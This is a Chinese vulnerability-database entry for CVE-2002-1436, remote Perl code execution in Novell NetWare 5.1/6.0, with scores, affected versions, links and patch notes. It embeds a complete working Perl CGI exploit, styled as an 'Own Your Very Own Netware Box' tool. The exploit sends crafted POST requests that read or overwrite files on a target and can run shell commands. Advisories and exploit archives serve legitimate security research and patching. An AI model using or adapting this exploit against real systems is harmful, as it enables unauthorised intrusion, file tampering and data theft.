CVE-2002-1436
CVSS7.5
发布时间 :2003-04-11 00:00:00
修订时间 :2008-09-05 16:30:35
NMCOES    

[原文]The web handler for Perl 5.003 on Novell NetWare 5.1 and NetWare 6 allows remote attackers to execute arbitrary Perl code via an HTTP POST request.


[CNNVD]Netware Perl处理程序多个远程漏洞(CNNVD-200304-096)

        
        Netware是NOVELL公司开发的一款商业操作系统,包含Perl程序。
        Netware包含的Perl程序存在多个漏洞,远程攻击者可以利用这些漏洞执行任意Perl代码命令或进行目录遍历等攻击。
        Netware中的perl 5.003版本存在多个漏洞,包括:
        1、任意Perl代码执行。
        2、Perl -v显示版本信息,造成信息泄露。
        3、利用Unicode %5c可以用来目录遍历,造成任意文件内容泄露。
        还没有获得更详细的信息。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:novell:netware:5.1:sp4Novell NetWare 5.1 SP4
cpe:/o:novell:netware:6.0:sp1
cpe:/o:novell:netware:6.0Novell NetWare 6.0
cpe:/o:novell:netware:5.1Novell NetWare 5.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1436
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1436
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200304-096
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/5520
(VENDOR_ADVISORY)  BID  5520
http://www.iss.net/security_center/static/9916.php
(VENDOR_ADVISORY)  XF  netware-perl-code-execution(9916)
http://archives.neohapsis.com/archives/bugtraq/2002-08/0202.html
(VENDOR_ADVISORY)  BUGTRAQ  20020820 NOVL-2002-2963307 - PERL Handler Vulnerability
http://support.novell.com/servlet/tidfinder/2963307
(UNKNOWN)  CONFIRM  http://support.novell.com/servlet/tidfinder/2963307

- 漏洞信息

Netware Perl处理程序多个远程漏洞
高危 未知
2003-04-11 00:00:00 2005-05-13 00:00:00
远程  
        
        Netware是NOVELL公司开发的一款商业操作系统,包含Perl程序。
        Netware包含的Perl程序存在多个漏洞,远程攻击者可以利用这些漏洞执行任意Perl代码命令或进行目录遍历等攻击。
        Netware中的perl 5.003版本存在多个漏洞,包括:
        1、任意Perl代码执行。
        2、Perl -v显示版本信息,造成信息泄露。
        3、利用Unicode %5c可以用来目录遍历,造成任意文件内容泄露。
        还没有获得更详细的信息。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 暂时没有合适的临时解决方法。
        厂商补丁:
        Novell
        ------
        Novell已经为此发布了一个安全公告(NOVL-2002-2963307)以及相应补丁:
        NOVL-2002-2963307:Perl Handler Vulnerability Patch
        链接:
        http://support.novell.com/servlet/tidfinder/2963307

        Novell公司已经提供补丁程序,但这个补丁是BETA版本,所以只有注册用户(不需要费用)才能下载:
        
        http://support.novell.com/servlet/filedownload/ftf/perl5002.exe/

        在服务器控制台输入perl -version判断perl版本,如果系统拥有的perl版本是5.6,就不需要上面这个补丁。

- 漏洞信息 (21731)

Novell NetWare 5.1/6.0 HTTP Post Arbitrary Perl Code Execution Vulnerability (EDBID:21731)
novell remote
2002-08-20 Verified
0 Dan Elder
N/A [点击下载]
source: http://www.securityfocus.com/bid/5520/info

A vulnerability has been reported in some versions of Novell NetWare. This issue lies in the handling of some HTTP requests when Perl is used as a handler by a web server.

Reportedly, it is possible for an attacker to execute arbitrary Perl code. Full technical details are not currently available.

This issue has been reported in versions of NetWare using Perl 5.003. Reportedly, systems with Perl 5.6 installed are not vulnerable to this issue.

#!/usr/bin/perl

# Copyright (c) 2002 Novacoast International (DElder@novacoast.com)

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

# Special thanks to Rain Forest Puppy (RFP) for coming up with this
# exploit in the first place

# Works against versions
# Novell Netware 5.1 SP4
# Novell Netware 5.1
# Novell Netware 6.0 SP1
# Novell Netware 6.0
#
# See full anouncement at
# http://online.securityfocus.com/bid/5520
#
#
# To use this cgi, drop it on a webserver and point it at the
# netware box you want to test.  If you get output,  it works.

use IO::Socket;
use CGI qw(:standard);
use CGI::Carp 'fatalsToBrowser';
use Sys::Hostname;
$CGI::POST_MAX        = 1024 * 100;    # max 100K posts
$CGI::DISABLE_UPLOADS = 1;             # no uploads
$hostname             = hostname();    # Should automagically detect hostname
$scriptname = url();    # Should automagically detect the url to the cgi

$full = 0; # Set to 1 if you want more acces to a box

$proto = 'tcp';

$cgi = new CGI;

print $cgi->header;
print $cgi->start_html
(
 -title=>'Novacoast Netware Back Door',
 -author=>'delder\@novacoast.com',
 -meta=>{'keywords'=>'Netware Webserver Compromise Novacoast RFP'}
);

print $cgi->center($cgi->h1('Own Your Very Own Netware Box'));
print $cgi->h2('Courtesy of RFP and Novacoast');

print $cgi->hr;

#print $cgi->p("Running on host $hostname as script $scriptname");

if($cgi->param()) {
  $hostname = $cgi->param('hostname');
  $port = $cgi->param('port');
  $operation = $cgi->param('operation');
  $filename = $cgi->param('filename');
  $input = $cgi->param('input');

  if($full == 0) {
    $operation = "Read a file";
    $filename = "/etc/hosts";
  }
  else {

    # Creat appropriate payload depending on operation
    if($operation eq "Execute Command")
      {
	# This is currently untested. If you have a netware box
	# let us know if this works or not
	$command = "\$output = \`$input\`; print \$output;";
      }
    elsif($operation eq "Read a file")
      {
	$command = "open( IN, \'< $filename\') || die \"Cant read $filename : \$\!\"; while(<IN>) {print \$_}; close(IN);"
      }
    elsif($operation eq "Write to a file")
      {
	$command = "open( OUT, \'> $filename\') or die \"Cannot write $filename : \$\!\"; print OUT \"$input\"; close OUT;";
      }
    else {
      die "How did you get here?";
    }
  }


  $payload = armor_command($command);

  print $cgi->p("Sending the following paylod: \"$payload\"");

  # Open connection to sepcified host
  $handle = IO::Socket::INET->new
  (
   PeerAddr => $hostname,
   PeerPort => $port,
   Proto    => $proto
  ) || print $cgi->p("<p>Couldn't connect to $hostname on port $port, try again sucka: $!</p>");

  print $handle $payload;
  
  my $response = "";
  while (<$handle>) {$response .= $_;}
  
  close $handle;

  $_ = $response;

  s/\n/<\/p\><p>/g;
  
  if(/daddy/) {
  
    if( $full == 1 ) {
      print $cgi->p("Server resonded with: </p><p> \"$_\"");
    }
    else {
      print $cgi->p("Servers /etc/hosts file is: </p><p> \"$_\"");
    }
  } 
  
  else {
    print $cgi->p("The server appears to be unaffected");
  }
}

else {

  # If your cgi keeps redirecting to the wrong page
  # try changing the action to $hostname/$scriptname
  # or something like that.  Perl can do wacky things to you
  print $cgi->startform(
			-method=>'POST',
			-action=>"$scriptname"
		       );
  
  print $cgi->p("What host do you wish to own:");
  print $cgi->textfield('hostname'); 

  print $cgi->p("What port do you wish to connect to:");
  print $cgi->textfield(
			-name=>'port',
			-default=>'80'
		       );

  if($full == 1) {
	  
    print $cgi->p("Operation you wish to perform:");
    print $cgi->popup_menu
      (
       -name=>'operation',
       -values=>['Read a file','Write to a file'], #,'Execute Command'],
       -default=>'Read a file'
      );
    
    print $cgi->p("Filename:");
    print $cgi->textfield(
			  -name=>'filename',
			  -default=>'/etc/hosts'
			 );
    
    print $cgi->p("Text to input in file:");
    print $cgi->textarea
      (
       -name=>'input',
       -rows=>15,
       -columns=>60
      ); 
  }

  print $cgi->center(
	       $cgi->submit,
	       $cgi->reset,
	      );
  print $cgi->hr;
  print $cgi->endform;
  print $cgi->end_html;

}


# Adds HTTP headers and caluclates the number of chars used
# in the command and returns the HTTP payload
#
# $_[0]   ->  The command to be executed
#
# Returns ->  HTTP armored version of command

sub armor_command
  {
    $header = "POST /perl/ HTTP/1.0 
Content-Type: application/octet-stream 
Content-Length:";
    
    $output_type = "print \"Content-type: text/html\n\nWhos your daddy\n\";";
    my $size = length($output_type);

    $command = $_[0];
    $size += length($command);

    $output = "$header $size\n\n$output_type $command";

    return $output;
  }		

- 漏洞信息

3717
Perl on Novell NetWare Web Handler Crafted POST Request Arbitrary Perl Code Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2002-08-20 Unknow
Unknow Unknow

- 解决方案

Products

Novell, Inc.

NetWare Enterprise Web Server

5.1
6.0

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Novell NetWare HTTP Post Arbitrary Perl Code Execution Vulnerability
Unknown 5520
Yes No
2002-08-20 12:00:00 2009-07-11 03:56:00
Credited to Rain Forrest Puppy <rfp@wiretrip.net>.

- 受影响的程序版本

Novell Netware 6.0 SP1
Novell Netware 6.0
Novell Netware 5.1 SP4
Novell Netware 5.1

- 漏洞讨论

A vulnerability has been reported in some versions of Novell NetWare. This issue lies in the handling of some HTTP requests when Perl is used as a handler by a web server.

Reportedly, it is possible for an attacker to execute arbitrary Perl code. Full technical details are not currently available.

This issue has been reported in versions of NetWare using Perl 5.003. Reportedly, systems with Perl 5.6 installed are not vulnerable to this issue.

- 漏洞利用

The following exploit has been provided by Dan Elder &lt;delder@novacoast.com&gt;.

- 解决方案

An update is available:


Novell Netware 5.1 SP4

Novell Netware 5.1

Novell Netware 6.0

Novell Netware 6.0 SP1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站